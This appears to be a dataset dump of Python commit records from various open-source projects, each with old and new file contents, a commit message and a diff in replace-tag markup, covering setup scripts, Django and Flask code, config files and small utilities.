| Python | mit | uclapi/uclapi,uclapi/uclapi,uclapi/uclapi,uclapi/uclapi | <REPLACE_OLD> return <REPLACE_NEW> try:
b = <REPLACE_END> <REPLACE_OLD> "y") <REPLACE_NEW> "y")
return b
except AttributeError:
return False
except NameError
return False <REPLACE_END> <|endoftext|> def strtobool(x):
try:
b = x.lower() in ("true", "yes", "1", ... | Add some failsafes to strtobool
def strtobool(x):
return x.lower() in ("true", "yes", "1", "y") |
2d63c7890e84ee6512095ce960d6d6b5e2187163 | setup.py | setup.py | #!/usr/bin/env python
from distribute_setup import use_setuptools
use_setuptools()
from setuptools import setup
classifiers = [
'Development Status :: 4 - Beta'
, 'Environment :: Console'
, 'Environment :: Console :: Curses'
, 'Intended Audience :: Developers'
, 'License :: BSD'
, 'Natural Language :: ... | #!/usr/bin/env python
from distribute_setup import use_setuptools
use_setuptools()
from setuptools import setup
classifiers = [
'Development Status :: 4 - Beta'
, 'Environment :: Console'
, 'Environment :: Console :: Curses'
, 'Intended Audience :: Developers'
, 'License :: OSI Approved :: BSD License'
... | Change trove classifier; 'BSD' was invalid | Change trove classifier; 'BSD' was invalid
List of available is here:
https://pypi.python.org/pypi?:action=list_classifiers
| Python | bsd-2-clause | whit537/assertEquals | <REPLACE_OLD> BSD'
<REPLACE_NEW> OSI Approved :: BSD License'
<REPLACE_END> <|endoftext|> #!/usr/bin/env python
from distribute_setup import use_setuptools
use_setuptools()
from setuptools import setup
classifiers = [
'Development Status :: 4 - Beta'
, 'Environment :: Console'
, 'Environment :: Console :: ... | Change trove classifier; 'BSD' was invalid
List of available is here:
https://pypi.python.org/pypi?:action=list_classifiers
#!/usr/bin/env python
from distribute_setup import use_setuptools
use_setuptools()
from setuptools import setup
classifiers = [
'Development Status :: 4 - Beta'
, 'Environment :: Con... |
e5deebe61fdf5e1a186673a252743ebdabe4c0e5 | publishconf.py | publishconf.py | #!/usr/bin/env python
# -*- coding: utf-8 -*- #
from __future__ import unicode_literals
# This file is only used if you use `make publish` or
# explicitly specify it as your config file.
import os
import sys
sys.path.append(os.curdir)
from pelicanconf import *
SITEURL = 'https://pappasam.github.io'
RELATIVE_URLS = F... | #!/usr/bin/env python
# -*- coding: utf-8 -*- #
from __future__ import unicode_literals
import os
import sys
sys.path.append(os.curdir)
from pelicanconf import *
SITEURL = 'https://pappasam.github.io'
RELATIVE_URLS = False
FEED_ALL_ATOM = 'feeds/all.atom.xml'
CATEGORY_FEED_ATOM = 'feeds/%s.atom.xml'
DELETE_OUTPUT_D... | Add Disqus and Google Analytics to web site | Add Disqus and Google Analytics to web site
| Python | mit | pappasam/pappasam.github.io,pappasam/pappasam.github.io | <REPLACE_OLD> unicode_literals
# This file is only used if you use `make publish` or
# explicitly specify it as your config file.
import <REPLACE_NEW> unicode_literals
import <REPLACE_END> <REPLACE_OLD> False
# Following items are often useful when publishing
#DISQUS_SITENAME <REPLACE_NEW> False
DISQUS_SITENAME <... | Add Disqus and Google Analytics to web site
#!/usr/bin/env python
# -*- coding: utf-8 -*- #
from __future__ import unicode_literals
# This file is only used if you use `make publish` or
# explicitly specify it as your config file.
import os
import sys
sys.path.append(os.curdir)
from pelicanconf import *
SITEURL = '... |
3c2f0786d7d092c2e1a57036c93e92ea6d67fe7c | gen_homebrew_formula.py | gen_homebrew_formula.py | #!/usr/bin/env python
# encoding: utf-8
'''
.. codeauthor:: Tsuyoshi Hombashi <tsuyoshi.hombashi@gmail.com>
'''
from __future__ import print_function, unicode_literals
import io
import os
import sys
from textwrap import indent
import sqlitebiter
from subprocrunner import SubprocessRunner
def main():
formula_b... | Add a script to create homebrew formula | Add a script to create homebrew formula
| Python | mit | thombashi/sqlitebiter,thombashi/sqlitebiter | <REPLACE_OLD> <REPLACE_NEW> #!/usr/bin/env python
# encoding: utf-8
'''
.. codeauthor:: Tsuyoshi Hombashi <tsuyoshi.hombashi@gmail.com>
'''
from __future__ import print_function, unicode_literals
import io
import os
import sys
from textwrap import indent
import sqlitebiter
from subprocrunner import SubprocessRunne... | Add a script to create homebrew formula
| |
3955d10f5dd905610c9621046069ae8dacbb1c1e | setup.py | setup.py | try:
from setuptools import setup
except ImportError:
from distutils.core import setup
config = {
'description': 'A simple python LOC count tool',
'author': 'Tihomir Saulic',
'url': 'http://github.com/tsaulic/pycount',
'download_url': 'http://github.com/tsaulic/pycount',
'author_email': 't... | try:
from setuptools import setup
except ImportError:
from distutils.core import setup
config = {
'description': 'A simple python LOC count tool',
'author': 'Tihomir Saulic',
'url': 'http://github.com/tsaulic/pycount',
'download_url': 'http://github.com/tsaulic/pycount',
'author_email': 't... | Add dependency and bump version. | Add dependency and bump version.
| Python | mit | tsaulic/pycount | <REPLACE_OLD> '0.6.1',
<REPLACE_NEW> '0.6.2',
<REPLACE_END> <REPLACE_OLD> ['binaryornot'],
<REPLACE_NEW> ['binaryornot', 'pygal'],
<REPLACE_END> <|endoftext|> try:
from setuptools import setup
except ImportError:
from distutils.core import setup
config = {
'description': 'A simple python LOC count too... | Add dependency and bump version.
try:
from setuptools import setup
except ImportError:
from distutils.core import setup
config = {
'description': 'A simple python LOC count tool',
'author': 'Tihomir Saulic',
'url': 'http://github.com/tsaulic/pycount',
'download_url': 'http://github.com/tsauli... |
fb427a72bf3d8fb3802689bf89a9d71dee47108c | semillas_backend/users/serializers.py | semillas_backend/users/serializers.py | #from phonenumber_field.serializerfields import PhoneNumberField
from rest_framework import serializers
from drf_extra_fields.geo_fields import PointField
from .models import User
class UserSerializer(serializers.ModelSerializer):
""" Usage:
from rest_framework.renderers import JSONRenderer
from ... | #from phonenumber_field.serializerfields import PhoneNumberField
from rest_framework import serializers
from drf_extra_fields.geo_fields import PointField
from .models import User
class UserSerializer(serializers.ModelSerializer):
""" Usage:
from rest_framework.renderers import JSONRenderer
from ... | Add location to user profile post | Add location to user profile post
| Python | mit | Semillas/semillas_backend,Semillas/semillas_backend,Semillas/semillas_backend,Semillas/semillas_platform,Semillas/semillas_backend,Semillas/semillas_platform,Semillas/semillas_platform,Semillas/semillas_platform | <REPLACE_OLD> serializers.CharField(read_only=True)
<REPLACE_NEW> serializers.CharField(read_only=True)
location = PointField(required=False)
<REPLACE_END> <REPLACE_OLD> 'telegram_id')
from <REPLACE_NEW> 'telegram_id', 'location')
from <REPLACE_END> <|endoftext|> #from phonenumber_field.serializerfields impor... | Add location to user profile post
#from phonenumber_field.serializerfields import PhoneNumberField
from rest_framework import serializers
from drf_extra_fields.geo_fields import PointField
from .models import User
class UserSerializer(serializers.ModelSerializer):
""" Usage:
from rest_framework.renderer... |
f9332afe031f4d7875b8c6dd53392a46a198fc9e | evaluation/packages/utils.py | evaluation/packages/utils.py |
# Compute the distance between points of cloud assigned to a primitive
# Return an array with len=len(assign)
def distanceToPrimitives(cloud, assign, primitives):
return [ [primVar.distanceTo(cloud[a[0]]) for primVar in primitives if primVar.uid == a[1]] for a in assign]
|
# Compute the distance between points of cloud assigned to a primitive
# Return an array with len=len(assign)
def distanceToPrimitives(cloud, assign, primitives):
return [ [primVar.distanceTo(cloud[a[0]]) for primVar in primitives if primVar.uid == a[1]] for a in assign]
import packages.orderedSet as... | Add method to parse angle command line arguments | Add method to parse angle command line arguments
| Python | apache-2.0 | amonszpart/globOpt,NUAAXXY/globOpt,amonszpart/globOpt,NUAAXXY/globOpt,amonszpart/globOpt,amonszpart/globOpt,amonszpart/globOpt,NUAAXXY/globOpt,NUAAXXY/globOpt,NUAAXXY/globOpt,amonszpart/globOpt,NUAAXXY/globOpt | <INSERT>
import packages.orderedSet as orderedSet
def parseAngles(strAngle):
angles = orderedSet.OrderedSet()
angles.add(0.)
if len(strAngle) == 1:
strAngle = strAngle[0].split(',')
for genAngle in strAngle:
a = float(genAngle)
while a <= 180.:
angles.a... | Add method to parse angle command line arguments
# Compute the distance between points of cloud assigned to a primitive
# Return an array with len=len(assign)
def distanceToPrimitives(cloud, assign, primitives):
return [ [primVar.distanceTo(cloud[a[0]]) for primVar in primitives if primVar.uid == a[1]] for a in a... |
1b7767dbc4fbaf69a6bf83a3989d5e672e0c7488 | django_countries/filters.py | django_countries/filters.py | from django.contrib import admin
from django.utils.translation import ugettext_lazy as _
class CountryFilter(admin.SimpleListFilter):
"""
A country filter for Django admin that only returns a list of countries related to the model.
"""
title = _('Country')
parameter_name = 'country'
def lookup... | from django.contrib import admin
from django.utils.encoding import force_text
from django.utils.translation import ugettext as _
class CountryFilter(admin.FieldListFilter):
"""
A country filter for Django admin that only returns a list of countries
related to the model.
"""
title = _('Country')
... | Change the admin filter to a FieldListFilter | Change the admin filter to a FieldListFilter
| Python | mit | schinckel/django-countries,SmileyChris/django-countries,pimlie/django-countries | <INSERT> django.utils.encoding import force_text
from <INSERT_END> <REPLACE_OLD> ugettext_lazy <REPLACE_NEW> ugettext <REPLACE_END> <REPLACE_OLD> _
class CountryFilter(admin.SimpleListFilter):
<REPLACE_NEW> _
class CountryFilter(admin.FieldListFilter):
<REPLACE_END> <REPLACE_OLD> countries <REPLACE_NEW> countries
... | Change the admin filter to a FieldListFilter
from django.contrib import admin
from django.utils.translation import ugettext_lazy as _
class CountryFilter(admin.SimpleListFilter):
"""
A country filter for Django admin that only returns a list of countries related to the model.
"""
title = _('Country')
... |
c434d182d2f6e0535314e8fcdbac01324bf9395b | tasks.py | tasks.py | from invoke import run, task
@task
def deploy():
print('So you want to deploy? Let\'s get started.')
# Static Files.
print('- Run the stylesheets through Compass using "Production" settings...')
run('compass compile -e production --force -q')
print('- Collecting the static files and throwing them... | Add our little deploy script to H!B. | Add our little deploy script to H!B.
| Python | apache-2.0 | hello-base/web,hello-base/web,hello-base/web,hello-base/web | <INSERT> from invoke import run, task
@task
def deploy():
<INSERT_END> <INSERT> print('So you want to deploy? Let\'s get started.')
# Static Files.
print('- Run the stylesheets through Compass using "Production" settings...')
run('compass compile -e production --force -q')
print('- Collecting the ... | Add our little deploy script to H!B.
| |
25458e3664391566cbe416eba2b9885809ae157e | server/server.py | server/server.py | from flask import Flask, url_for
app = Flask(__name__)
@app.route('/')
def api_root():
return 'Welcome'
# Deprecated
# @app.route('/toggle')
# def api_toggle():
# # Toggle the state of the player
# return 'state changed'
# @app.route('/volume/<volume_value>')
# def api_volume(volume_value):
# # Adjusts ... | from flask import Flask, url_for
app = Flask(__name__)
@app.route('/')
def api_root():
return 'Welcome'
# Deprecated
# @app.route('/toggle')
# def api_toggle():
# # Toggle the state of the player
# return 'state changed'
# @app.route('/volume/<volume_value>')
# def api_volume(volume_value):
# # Adjusts ... | Add methods to start and stop playing tone | Add methods to start and stop playing tone
| Python | artistic-2.0 | axay/eigen,axay/eigen | <REPLACE_OLD> volume_value
if <REPLACE_NEW> volume_value
@app.route('/start/<tone_id>')
def api_start_tone(tone_id):
# Start the tone
return 'Started Playing ' + tone_id
@app.route('/stop/<tone_id>')
def api_stop_tone(tone_id):
# Stop the tone
return 'Stopped Playing ' + tone_id
if <REPLACE_END> <|endoftext... | Add methods to start and stop playing tone
from flask import Flask, url_for
app = Flask(__name__)
@app.route('/')
def api_root():
return 'Welcome'
# Deprecated
# @app.route('/toggle')
# def api_toggle():
# # Toggle the state of the player
# return 'state changed'
# @app.route('/volume/<volume_value>')
#... |
fd6572b9910e0c5a01cbe1376f15059d80cf5093 | all/templates/init.py | all/templates/init.py | from flask import Flask, url_for
import os
<%= appName %> = Flask(__name__)
# Determines the destination of the build. Only usefull if you're using Frozen-Flask
<%= appName %>.config['FREEZER_DESTINATION'] = os.path.dirname(os.path.abspath(__file__))+'/../build'
# Function to easily find your assets
# In your templa... | from flask import Flask, url_for
import os
<%= appName %> = Flask(__name__)
# Determines the destination of the build. Only usefull if you're using Frozen-Flask
<%= appName %>.config['FREEZER_DESTINATION'] = os.path.dirname(os.path.abspath(__file__))+'/../build'
# Function to easily find your assets
# In your templa... | Replace hardcoded "app" with parameter "appName" | Replace hardcoded "app" with parameter "appName"
| Python | mit | romainberger/yeoman-flask,romainberger/yeoman-flask | <REPLACE_OLD> }}">
app.jinja_env.globals['static'] <REPLACE_NEW> }}">
<%= appName %>.jinja_env.globals['static'] <REPLACE_END> <|endoftext|> from flask import Flask, url_for
import os
<%= appName %> = Flask(__name__)
# Determines the destination of the build. Only usefull if you're using Frozen-Flask
<%= appName %>.c... | Replace hardcoded "app" with parameter "appName"
from flask import Flask, url_for
import os
<%= appName %> = Flask(__name__)
# Determines the destination of the build. Only usefull if you're using Frozen-Flask
<%= appName %>.config['FREEZER_DESTINATION'] = os.path.dirname(os.path.abspath(__file__))+'/../build'
# Fu... |
5894f4148f6b6311b2985f3b23d9c3545ce55fb1 | bigml/multiple_models.py | bigml/multiple_models.py | # -*- coding: utf-8 -*-
#!/usr/bin/env python
#
# Copyright 2012 BigML
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required b... | Add simple predict method to multi models | Add simple predict method to multi models
| Python | apache-2.0 | xaowoodenfish/python-1,ShaguptaS/python,mmerce/python,jaor/python,bigmlcom/python | <REPLACE_OLD> <REPLACE_NEW> # -*- coding: utf-8 -*-
#!/usr/bin/env python
#
# Copyright 2012 BigML
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICE... | Add simple predict method to multi models
| |
fdf8e5d872bb6579d7ae6ef7ac4c93040db3f71c | setup.py | setup.py | import os
from setuptools import setup, find_packages
import subprocess
here = os.path.abspath(os.path.dirname(__file__))
def get_version(version=None):
"Returns a version number with commit id if the git repo is present"
with open(os.path.join(here, 'VERSION')) as version_file:
version = version... | import os
from setuptools import setup, find_packages
here = os.path.abspath(os.path.dirname(__file__))
with open(os.path.join(here, 'VERSION')) as version_file:
version = version_file.read().strip()
setup(
name='django-geonode-client',
version=version,
author='Mila Frerichs',
author_email='mi... | Revert commit hash in get_version | Revert commit hash in get_version
| Python | mit | GeoNode/geonode-client,GeoNode/geonode-client,GeoNode/geonode-client,GeoNode/geonode-client | <REPLACE_OLD> find_packages
import subprocess
here <REPLACE_NEW> find_packages
here <REPLACE_END> <REPLACE_OLD> os.path.abspath(os.path.dirname(__file__))
def get_version(version=None):
"Returns a version number with commit id if the git repo is present"
with <REPLACE_NEW> os.path.abspath(os.path.dirname(__... | Revert commit hash in get_version
import os
from setuptools import setup, find_packages
import subprocess
here = os.path.abspath(os.path.dirname(__file__))
def get_version(version=None):
"Returns a version number with commit id if the git repo is present"
with open(os.path.join(here, 'VERSION')) as version_... |
0c24bb0a422a816b4e6909e458bb1bbbfed61720 | fluent_contents/plugins/oembeditem/__init__.py | fluent_contents/plugins/oembeditem/__init__.py | VERSION = (0, 1, 0)
# Do some version checking
try:
import micawber
except ImportError:
raise ImportError("The 'micawber' package is required to use the 'oembeditem' plugin.")
| Add check for `micawber` existance in `oembeditem` plugin. | Add check for `micawber` existance in `oembeditem` plugin.
| Python | apache-2.0 | edoburu/django-fluent-contents,ixc/django-fluent-contents,django-fluent/django-fluent-contents,pombredanne/django-fluent-contents,django-fluent/django-fluent-contents,jpotterm/django-fluent-contents,edoburu/django-fluent-contents,pombredanne/django-fluent-contents,edoburu/django-fluent-contents,django-fluent/django-flu... | <INSERT> VERSION = (0, 1, 0)
# Do some version checking
try:
<INSERT_END> <INSERT> import micawber
except ImportError:
raise ImportError("The 'micawber' package is required to use the 'oembeditem' plugin.")
<INSERT_END> <|endoftext|> VERSION = (0, 1, 0)
# Do some version checking
try:
import micawber
exce... | Add check for `micawber` existance in `oembeditem` plugin.
| |
11d39551f85a1490ebe370b97ed729d85df06b0b | shuup/xtheme/migrations/0004_convert_shop_themes.py | shuup/xtheme/migrations/0004_convert_shop_themes.py | # -*- coding: utf-8 -*-
# Generated by Django 1.9.11 on 2016-12-07 23:22
from __future__ import unicode_literals
from django.db.transaction import atomic
from django.db import migrations
from shuup.core.models import Shop
from shuup.xtheme.models import SavedViewConfig, ThemeSettings
@atomic
def convert_shop_themes... | Add migration to add shop information | Xtheme: Add migration to add shop information
Add shop information in ThemeSettings and SavedViewConfig
The process will clone every settings for each existent shop
| Python | agpl-3.0 | shoopio/shoop,shoopio/shoop,shoopio/shoop | <REPLACE_OLD> <REPLACE_NEW> # -*- coding: utf-8 -*-
# Generated by Django 1.9.11 on 2016-12-07 23:22
from __future__ import unicode_literals
from django.db.transaction import atomic
from django.db import migrations
from shuup.core.models import Shop
from shuup.xtheme.models import SavedViewConfig, ThemeSettings
@a... | Xtheme: Add migration to add shop information
Add shop information in ThemeSettings and SavedViewConfig
The process will clone every settings for each existent shop
| |
1d74d333cdf6d25150afc93febc8141ea3c655b0 | sirius/LI_V00/lattice.py | sirius/LI_V00/lattice.py | #!/usr/bin/env python3
import math as _math
import numpy as _np
import pyaccel as _pyaccel
import mathphys as _mp
from . import optics_mode_M0 as _optics_mode_M0
_default_optics_mode = _optics_mode_M0
_energy = 0.15e9 #[eV]
_emittance = 170.3329758677203e-09 #[m rad]
_energy_spread = 0.005
_single_bunch_charge = 1e-9... | #!/usr/bin/env python3
import math as _math
import numpy as _np
import pyaccel as _pyaccel
import mathphys as _mp
from . import optics_mode_M0 as _optics_mode_M0
_default_optics_mode = _optics_mode_M0
_energy = 0.15e9 #[eV]
_emittance = 170.3329758677203e-09 #[m rad]
_energy_spread = 0.005
_single_bunch_charge = 1e-9... | Change Linac pulse duration interval to 150 ns | Change Linac pulse duration interval to 150 ns
| Python | mit | lnls-fac/sirius | <REPLACE_OLD> [150e-9,300e-9] <REPLACE_NEW> 150e-9 <REPLACE_END> <|endoftext|> #!/usr/bin/env python3
import math as _math
import numpy as _np
import pyaccel as _pyaccel
import mathphys as _mp
from . import optics_mode_M0 as _optics_mode_M0
_default_optics_mode = _optics_mode_M0
_energy = 0.15e9 #[eV]
_emittance = 17... | Change Linac pulse duration interval to 150 ns
#!/usr/bin/env python3
import math as _math
import numpy as _np
import pyaccel as _pyaccel
import mathphys as _mp
from . import optics_mode_M0 as _optics_mode_M0
_default_optics_mode = _optics_mode_M0
_energy = 0.15e9 #[eV]
_emittance = 170.3329758677203e-09 #[m rad]
_e... |
6251bffd124e3ab960f6150ef66585a3653ef4cf | argus/backends/base.py | argus/backends/base.py | import abc
import six
@six.add_metaclass(abc.ABCMeta)
class BaseBackend(object):
@abc.abstractmethod
def setup_instance(self):
"""Called by setUpClass to setup an instance"""
@abc.abstractmethod
def cleanup(self):
"""Needs to cleanup the resources created in ``setup_instance``"""
| # Copyright 2015 Cloudbase Solutions Srl
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless r... | Add the license header where it's missing. | Add the license header where it's missing.
| Python | apache-2.0 | micumatei/cloudbase-init-ci,stefan-caraiman/cloudbase-init-ci,AlexandruTudose/cloudbase-init-ci,PCManticore/argus-ci,cloudbase/cloudbase-init-ci,cmin764/argus-ci | <REPLACE_OLD> import <REPLACE_NEW> # Copyright 2015 Cloudbase Solutions Srl
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/l... | Add the license header where it's missing.
import abc
import six
@six.add_metaclass(abc.ABCMeta)
class BaseBackend(object):
@abc.abstractmethod
def setup_instance(self):
"""Called by setUpClass to setup an instance"""
@abc.abstractmethod
def cleanup(self):
"""Needs to cleanup the r... |
23343eb3316a3d304a3b021519b9a470f9c2446b | django_bcrypt/models.py | django_bcrypt/models.py | import bcrypt
from django.contrib.auth.models import User
from django.conf import settings
try:
rounds = settings.BCRYPT_ROUNDS
except AttributeError:
rounds = 12
_check_password = User.check_password
def bcrypt_check_password(self, raw_password):
if self.password.startswith('bc$'):
salt_and_has... | import bcrypt
from django.contrib.auth.models import User
from django.conf import settings
try:
rounds = settings.BCRYPT_ROUNDS
except AttributeError:
rounds = 12
_check_password = User.check_password
def bcrypt_check_password(self, raw_password):
if self.password.startswith('bc$'):
salt_and_has... | Allow users to be created with blank (unusable) passwords. | Allow users to be created with blank (unusable) passwords.
| Python | mit | dwaiter/django-bcrypt | <INSERT> if raw_password is None:
self.set_unusable_password()
else:
<INSERT_END> <INSERT> <INSERT_END> <|endoftext|> import bcrypt
from django.contrib.auth.models import User
from django.conf import settings
try:
rounds = settings.BCRYPT_ROUNDS
except AttributeError:
rounds = 12
_che... | Allow users to be created with blank (unusable) passwords.
import bcrypt
from django.contrib.auth.models import User
from django.conf import settings
try:
rounds = settings.BCRYPT_ROUNDS
except AttributeError:
rounds = 12
_check_password = User.check_password
def bcrypt_check_password(self, raw_password):
... |
f4cfad2edaa896b471f4f44b2a3fda2bd6b1bb49 | tests/conftest.py | tests/conftest.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import pytest
from flask import Flask, jsonify
@pytest.fixture
def app():
app = Flask(__name__)
@app.route('/ping')
def ping():
return jsonify(ping='pong')
return app
| #!/usr/bin/env python
# -*- coding: utf-8 -*-
import pytest
from flask import Flask, jsonify
@pytest.fixture
def app():
app = Flask(__name__)
@app.route('/')
def index():
return app.response_class('OK')
@app.route('/ping')
def ping():
return jsonify(ping='pong')
return app
| Add index route to test application | Add index route to test application
This endpoint uses to start :class:`LiveServer` instance with minimum
waiting timeout.
| Python | mit | amateja/pytest-flask | <INSERT> @app.route('/')
def index():
return app.response_class('OK')
<INSERT_END> <|endoftext|> #!/usr/bin/env python
# -*- coding: utf-8 -*-
import pytest
from flask import Flask, jsonify
@pytest.fixture
def app():
app = Flask(__name__)
@app.route('/')
def index():
return app.... | Add index route to test application
This endpoint uses to start :class:`LiveServer` instance with minimum
waiting timeout.
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import pytest
from flask import Flask, jsonify
@pytest.fixture
def app():
app = Flask(__name__)
@app.route('/ping')
def ping():
... |
b64e2c30b0b3da3b77295469fac944ae18d4e6dc | publish/twitter.py | publish/twitter.py | """Twitter delivery mechanism for botfriend."""
from nose.tools import set_trace
import tweepy
from bot import Publisher
class TwitterPublisher(Publisher):
def __init__(
self, bot, full_config, kwargs
):
for key in ['consumer_key', 'consumer_secret', 'access_token',
'ac... | # encoding: utf-8
"""Twitter delivery mechanism for botfriend."""
import re
import unicodedata
from nose.tools import set_trace
import tweepy
from bot import Publisher
class TwitterPublisher(Publisher):
def __init__(
self, bot, full_config, kwargs
):
for key in ['consumer_key', 'consumer_s... | Replace initial D. and M. with similar-looking characters to get around archaic Twitter restriction. | Replace initial D. and M. with similar-looking characters to get around archaic Twitter restriction.
| Python | mit | leonardr/botfriend | <REPLACE_OLD> """Twitter <REPLACE_NEW> # encoding: utf-8
"""Twitter <REPLACE_END> <REPLACE_OLD> botfriend."""
from <REPLACE_NEW> botfriend."""
import re
import unicodedata
from <REPLACE_END> <REPLACE_OLD> tweepy.API(auth)
<REPLACE_NEW> tweepy.API(auth)
<REPLACE_END> <DELETE> content = unicode(content)
... | Replace initial D. and M. with similar-looking characters to get around archaic Twitter restriction.
"""Twitter delivery mechanism for botfriend."""
from nose.tools import set_trace
import tweepy
from bot import Publisher
class TwitterPublisher(Publisher):
def __init__(
self, bot, full_config, kwargs... |
4ffa049553050ab22c5c90f544bb03fcc4259bfe | pmdarima/tests/test_metrics.py | pmdarima/tests/test_metrics.py | # -*- coding: utf-8 -*-
from pmdarima.metrics import smape
import numpy as np
import pytest
@pytest.mark.parametrize(
'actual,forecasted,expected', [
pytest.param([0.07533, 0.07533, 0.07533, 0.07533,
0.07533, 0.07533, 0.0672, 0.0672],
[0.102, 0.107, 0.047, 0.1,
... | Add unit test for SMAPE | Add unit test for SMAPE
| Python | mit | tgsmith61591/pyramid,alkaline-ml/pmdarima,alkaline-ml/pmdarima,alkaline-ml/pmdarima,tgsmith61591/pyramid,tgsmith61591/pyramid | <INSERT> # -*- coding: utf-8 -*-
from pmdarima.metrics import smape
import numpy as np
import pytest
@pytest.mark.parametrize(
<INSERT_END> <INSERT> 'actual,forecasted,expected', [
pytest.param([0.07533, 0.07533, 0.07533, 0.07533,
0.07533, 0.07533, 0.0672, 0.0672],
... | Add unit test for SMAPE
| |
6a767b028647220199bd90c1b26226802a089a6f | models/official/detection/export_tflite_model.py | models/official/detection/export_tflite_model.py | # Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | Add a binary to convert model to tflite supported foramt. | Add a binary to convert model to tflite supported foramt.
PiperOrigin-RevId: 302497553
| Python | apache-2.0 | tensorflow/tpu,tensorflow/tpu,tensorflow/tpu,tensorflow/tpu | <INSERT> # Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# <INSERT_END> <INSERT> http://www.apache.org/licenses/LICENSE-2.0
... | Add a binary to convert model to tflite supported foramt.
PiperOrigin-RevId: 302497553
| |
39b57462b69d78825fd217822d9be2f1eea5a06d | src/ansible/models.py | src/ansible/models.py | from django.db import models
from django.conf import settings
class Playbook(models.Model):
name = models.CharField(max_length=200)
inventory = models.CharField(max_length=200, default="hosts")
user = models.CharField(max_length=200, default="ubuntu")
directory = models.CharField(max_length=200, editab... | from django.db import models
from django.conf import settings
class Playbook(models.Model):
name = models.CharField(max_length=200)
inventory = models.CharField(max_length=200, default="hosts")
user = models.CharField(max_length=200, default="ubuntu")
directory = models.CharField(max_length=200, editab... | Set default value for Registry.playbook | Set default value for Registry.playbook
| Python | bsd-3-clause | lozadaOmr/ansible-admin,lozadaOmr/ansible-admin,lozadaOmr/ansible-admin | <REPLACE_OLD> models.ForeignKey(Playbook, <REPLACE_NEW> models.ForeignKey("Playbook", default=1, <REPLACE_END> <|endoftext|> from django.db import models
from django.conf import settings
class Playbook(models.Model):
name = models.CharField(max_length=200)
inventory = models.CharField(max_length=200, default="... | Set default value for Registry.playbook
from django.db import models
from django.conf import settings
class Playbook(models.Model):
name = models.CharField(max_length=200)
inventory = models.CharField(max_length=200, default="hosts")
user = models.CharField(max_length=200, default="ubuntu")
directory ... |
3ec54fbabd6f17eabb90ead66a87bc2723a00aa0 | mvw/generator.py | mvw/generator.py | import os
class Generator:
def run(self, sourcedir, outputdir):
sourcedir = os.path.normpath(sourcedir)
outputdir = os.path.normpath(outputdir)
prefix = len(sourcedir)+len(os.path.sep)
for root, dirs, files in os.walk(sourcedir):
destpath = os.path.join(outputdir, root[... | import os
import shutil
class Generator:
def run(self, sourcedir, outputdir):
sourcedir = os.path.normpath(sourcedir)
outputdir = os.path.normpath(outputdir)
prefix = len(sourcedir)+len(os.path.sep)
for root, dirs, files in os.walk(sourcedir):
destpath = os.path.join(ou... | Create destination path if it does no exist and copy file using shutil | Create destination path if it does no exist and copy file using shutil
| Python | mit | kevinbeaty/mvw | <REPLACE_OLD> os
class <REPLACE_NEW> os
import shutil
class <REPLACE_END> <REPLACE_OLD> root[prefix:])
<REPLACE_NEW> root[prefix:])
if not os.path.exists(destpath):
os.makedirs(destpath)
<REPLACE_END> <REPLACE_OLD> self.copy(src, <REPLACE_NEW> shutil.copy(src, <REPLACE_END> <DELETE> ... | Create destination path if it does no exist and copy file using shutil
import os
class Generator:
def run(self, sourcedir, outputdir):
sourcedir = os.path.normpath(sourcedir)
outputdir = os.path.normpath(outputdir)
prefix = len(sourcedir)+len(os.path.sep)
for root, dirs, files in ... |
729f02949842d4d5a5722a2b9b35c204748c00f7 | turbosms/lib.py | turbosms/lib.py |
from django.apps import apps
from django.template.loader import render_to_string
from turbosms.settings import IS_SMS_ENABLED, SMS_RECIPIENTS
from turbosms.models import SMS
def get_recipients():
if apps.is_installed('site_config'):
from site_config import config
if hasattr(config, 'SMS_RECIP... |
from django.apps import apps
from django.template.loader import render_to_string
from turbosms.settings import IS_SMS_ENABLED, SMS_RECIPIENTS
from turbosms.models import SMS
def get_default_sms_recipients():
if apps.is_installed('site_config'):
from site_config import config
if hasattr(config... | Add recipients param to send_sms method. | Add recipients param to send_sms method.
| Python | isc | pmaigutyak/mp-turbosms | <REPLACE_OLD> get_recipients():
<REPLACE_NEW> get_default_sms_recipients():
<REPLACE_END> <REPLACE_OLD> send_sms(message):
<REPLACE_NEW> send_sms(message, recipients=None):
<REPLACE_END> <INSERT> not <INSERT_END> <REPLACE_OLD> for number in get_recipients():
<REPLACE_NEW> return
if recipients is None:
<R... | Add recipients param to send_sms method.
from django.apps import apps
from django.template.loader import render_to_string
from turbosms.settings import IS_SMS_ENABLED, SMS_RECIPIENTS
from turbosms.models import SMS
def get_recipients():
if apps.is_installed('site_config'):
from site_config import con... |
510063159145cd3fdc7bdd0c8b93dc46d98a88c8 | obj_sys/models.py | obj_sys/models.py | # Create your models here.
from models_obj_rel import *
from models_ufs_obj import *
try:
# apps.py
from django.apps import AppConfig
try:
import tagging
tagging.register(UfsObj)
except ImportError:
pass
except ImportError:
try:
import tagging
tagging.regi... | # Create your models here.
from models_obj_rel import *
from models_ufs_obj import *
try:
import tagging
tagging.register(UfsObj)
except ImportError:
pass
| Remove not used app config. | Remove not used app config.
| Python | bsd-3-clause | weijia/obj_sys,weijia/obj_sys | <REPLACE_OLD> *
try:
# apps.py
from django.apps import AppConfig
try:
import tagging
tagging.register(UfsObj)
except ImportError:
pass
except ImportError:
try:
<REPLACE_NEW> *
try:
<REPLACE_END> <REPLACE_OLD> tagging.register(UfsObj)
except ImportError:
... | Remove not used app config.
# Create your models here.
